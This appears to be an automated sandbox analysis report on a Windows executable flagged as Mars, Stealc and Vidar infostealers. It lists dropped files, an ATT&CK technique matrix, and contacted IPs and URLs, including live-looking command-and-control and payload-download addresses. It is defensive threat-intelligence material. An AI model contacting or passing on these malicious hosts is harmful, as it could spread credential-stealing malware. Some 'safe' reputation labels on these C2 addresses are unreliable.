Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2449562218.0000000000856000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3472, type: MEMORYSTR

Remote Access Functionality

Yara detected Mars stealer

Source: Yara match	File source: 0.2.file.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.0244247334.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000E.00000002.3055852446.00000000018F5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 0244247334.exe PID: 4320, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.file.exe.7b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.0244247334.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2449562218.00000000007B1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3054902462.0000000000721000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3472, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	3 Obfuscated Files or Information	11 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	12 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	236 System Information Discovery	Distributed Component Object Model	11 Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Masquerading	LSA Secrets	761 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	261 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Process Injection	DCSync	261 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.ZPACK.Gen
C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/AutoIt.zstul
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\amadka[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	42%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	42%	ReversingLabs	Win32.Trojan.AutoitInject

Source	Detection	Scanner	Label
https://policies.google.com/terms/service-specific	0%	URL Reputation	safe
https://g.co/recover	0%	URL Reputation	safe
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	0%	URL Reputation	safe
https://policies.google.com/technologies/cookies	0%	URL Reputation	safe
https://policies.google.com/terms	0%	URL Reputation	safe
https://www.youtube.com/t/terms?chromeless=1&hl=	0%	URL Reputation	safe
https://youtube.com/t/terms?gl=	0%	URL Reputation	safe
https://apis.google.com/js/api.js	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://policies.google.com/privacy	0%	URL Reputation	safe
https://play.google/intl/	0%	URL Reputation	safe
https://families.google.com/intl/	0%	URL Reputation	safe
https://policies.google.com/technologies/location-data	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.google.com/accounts?p=new-si-ui	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/softokn3.dll	0%	Avira URL Cloud	safe
https://apis.google.com/js/rpc:shindig_random.js?onload=credentialservice.postMessage	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	Avira URL Cloud	safe
https://policies.google.com/privacy/google-partners	0%	URL Reputation	safe
http://77.91.77.82/Hun4Ko/index.phpF	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe-	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/freebl3.dll	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpiLqa8	0%	Avira URL Cloud	safe
http://upx.sf.net	0%	URL Reputation	safe
https://policies.google.com/privacy/additional	0%	URL Reputation	safe
https://www.youtube.com/accountK%DYW	0%	Avira URL Cloud	safe
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://policies.google.com/privacy/additional/embedded?gl=kr	0%	URL Reputation	safe
https://policies.google.com/terms/location/embedded	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	0%	Avira URL Cloud	safe
https://play.google.com/work/enroll?identifier=	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/mozglue.dllX	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/nss3.dllll	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpU	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php2	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/QLIa	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/nss3.dll	0%	Avira URL Cloud	safe
https://www.google.com	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/mozglue.dlll	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php(	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.php/	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exe-Disposition:	100%	Avira URL Cloud	phishing
http://77.91.77.81/mine/amadka.exe00	100%	Avira URL Cloud	phishing
http://77.91.77.82/	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://85.28.47.30/	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exepData	100%	Avira URL Cloud	phishing
http://85.28.47.30/920475a59bac849d.phpd	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe	100%	Avira URL Cloud	malware
http://77.91.77.82/Hun4Ko/index.php$	0%	Avira URL Cloud	safe
https://www.google.com/intl/	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/softokn3.dllx	0%	Avira URL Cloud	safe
https://www.youtube.com/account	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/mozglue.dll	0%	Avira URL Cloud	safe
https://www.google.com/favicon.ico	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exeT	100%	Avira URL Cloud	phishing
http://77.91.77.81/well/random.exeL	100%	Avira URL Cloud	phishing
https://play.google.com/log?format=json&hasfast=true	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
http://77.91.77.82/0	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpfLI	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phpuLma6	0%	Avira URL Cloud	safe
http://85.28.47.30I	0%	Avira URL Cloud	safe
http://77.91.77.81/mine/amadka.exe	100%	Avira URL Cloud	malware
http://77.91.77.82/ot%	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe	100%	Avira URL Cloud	phishing
http://85.28.47.30N?	0%	Avira URL Cloud	safe
http://77.91.77.81/well/random.exe	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://www.youtube.com/accounts$	0%	Avira URL Cloud	safe
http://85.28.47.30/ia	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	0%	Avira URL Cloud	safe
http://77.91.77.82/Hun4Ko/index.phplF~nj	0%	Avira URL Cloud	safe
http://77.91.77.81/well/random.exen	100%	Avira URL Cloud	phishing
http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	100%	Avira URL Cloud	phishing
http://85.28.47.30/69934896f997d5bb/msvcp140.dllX	0%	Avira URL Cloud	safe
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.php06001	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
85.28.47.30/920475a59bac849d.php	0%	Avira URL Cloud	safe
http://85.28.47.30/920475a59bac849d.php	0%	Avira URL Cloud	safe
http://77.91.77.81/cost/go.exe00	100%	Avira URL Cloud	phishing
https://play.google.com/log?format=json&hasfast=true&authuser=0	0%	Avira URL Cloud	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://77.91.77.81/stealc/random.exe506	100%	Avira URL Cloud	phishing
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
youtube-ui.l.google.com	216.58.206.46	true	false	unknown
www3.l.google.com	142.250.181.238	true	false	unknown
play.google.com	216.58.206.46	true	false	unknown
www.google.com	172.217.16.196	true	false	unknown
accounts.youtube.com	unknown	unknown	false	unknown
www.youtube.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.30/69934896f997d5bb/softokn3.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/freebl3.dll	true	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php	true	Avira URL Cloud: phishing	unknown
http://85.28.47.30/69934896f997d5bb/nss3.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/msvcp140.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dll	true	Avira URL Cloud: safe	unknown
https://www.youtube.com/account	false	Avira URL Cloud: safe	unknown
https://www.google.com/favicon.ico	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe	true	Avira URL Cloud: malware	unknown
http://85.28.47.30/69934896f997d5bb/sqlite3.dll	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/vcruntime140.dll	true	Avira URL Cloud: safe	unknown
85.28.47.30/920475a59bac849d.php	true	Avira URL Cloud: safe	unknown
http://85.28.47.30/920475a59bac849d.php	true	Avira URL Cloud: safe	unknown
https://play.google.com/log?format=json&hasfast=true&authuser=0	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	IJEHIDHD.0.dr	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	IJEHIDHD.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/stealc/random.exe-	explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://77.91.77.82/Hun4Ko/index.phpF	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	file.exe, 0244247334.exe.13.dr, random[1].exe.13.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpiLqa8	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountK%DYW	06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/work/enroll?identifier=	chromecache_132.17.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/terms/service-specific	chromecache_132.17.dr	false	URL Reputation: safe	unknown
https://g.co/recover	chromecache_132.17.dr	false	URL Reputation: safe	unknown
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	file.exe, 0244247334.exe.13.dr, random[1].exe.13.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dllX	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://policies.google.com/technologies/cookies	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/QLIa	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://policies.google.com/terms	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpU	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com	chromecache_132.17.dr	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/nss3.dllll	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php2	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/mozglue.dlll	file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.php/	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://www.youtube.com/t/terms?chromeless=1&hl=	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.82/Hun4Ko/index.php(	explorti.exe, 0000000D.00000002.3241803333.0000000000E50000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/mine/amadka.exe-Disposition:	file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/mine/amadka.exe00	file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.82/	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.81/cost/go.exepData	file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.30/	0244247334.exe, 0000000E.00000002.3055852446.000000000192C000.00000004.00000020.00020000.00000000.sdmp, 0244247334.exe, 0000000E.00000002.3055852446.000000000191B000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://youtube.com/t/terms?gl=	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://85.28.47.30/920475a59bac849d.phpd	file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/intl/	chromecache_132.17.dr	false	Avira URL Cloud: safe	unknown
https://apis.google.com/js/api.js	chromecache_124.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/stealc/random.exe	explorti.exe, 0000000D.00000002.3241803333.0000000000E86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://77.91.77.82/Hun4Ko/index.php$	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/69934896f997d5bb/softokn3.dllx	file.exe, 00000000.00000002.2450878675.0000000001B24000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IJEHIDHD.0.dr	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000002.2450878675.0000000001B3D000.00000004.00000020.00020000.00000000.sdmp, IJEHIDHD.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/mine/amadka.exeT	file.exe, 00000000.00000002.2450878675.0000000001AE5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://77.91.77.81/well/random.exeL	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_132.17.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	IIDHJKFBGIIJJKFIJDBGCBGHID.0.dr	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	false	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy	chromecache_132.17.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2450878675.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2449039751.0000000001C27000.00000004.00000020.00020000.00000000.sdmp, KKECFIEBGCAKJKECGCFI.0.dr	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpfLI	explorti.exe, 0000000D.00000002.3241803333.0000000000E2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30I	0244247334.exe, 0000000E.00000002.3055852446.00000000018DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/0	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/Hun4Ko/index.phpuLma6	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://77.91.77.82/ot%	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google/intl/	chromecache_132.17.dr	false	URL Reputation: safe	unknown
https://families.google.com/intl/	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/cost/go.exe	file.exe, 00000000.00000002.2449562218.00000000007F8000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.30N?	file.exe, 00000000.00000002.2450878675.0000000001ACE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://policies.google.com/technologies/location-data	chromecache_132.17.dr	false	URL Reputation: safe	unknown
http://77.91.77.81/well/random.exe	explorti.exe, 0000000D.00000002.3241803333.0000000000E98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	KKECFIEBGCAKJKECGCFI.0.dr	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accounts$	06f6d9547f.exe, 0000000F.00000002.3014345363.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp, 06f6d9547f.exe, 0000000F.00000003.3012408886.0000000003DC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.30/ia	0244247334.exe, 0000000E.00000002.3055852446.000000000191B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
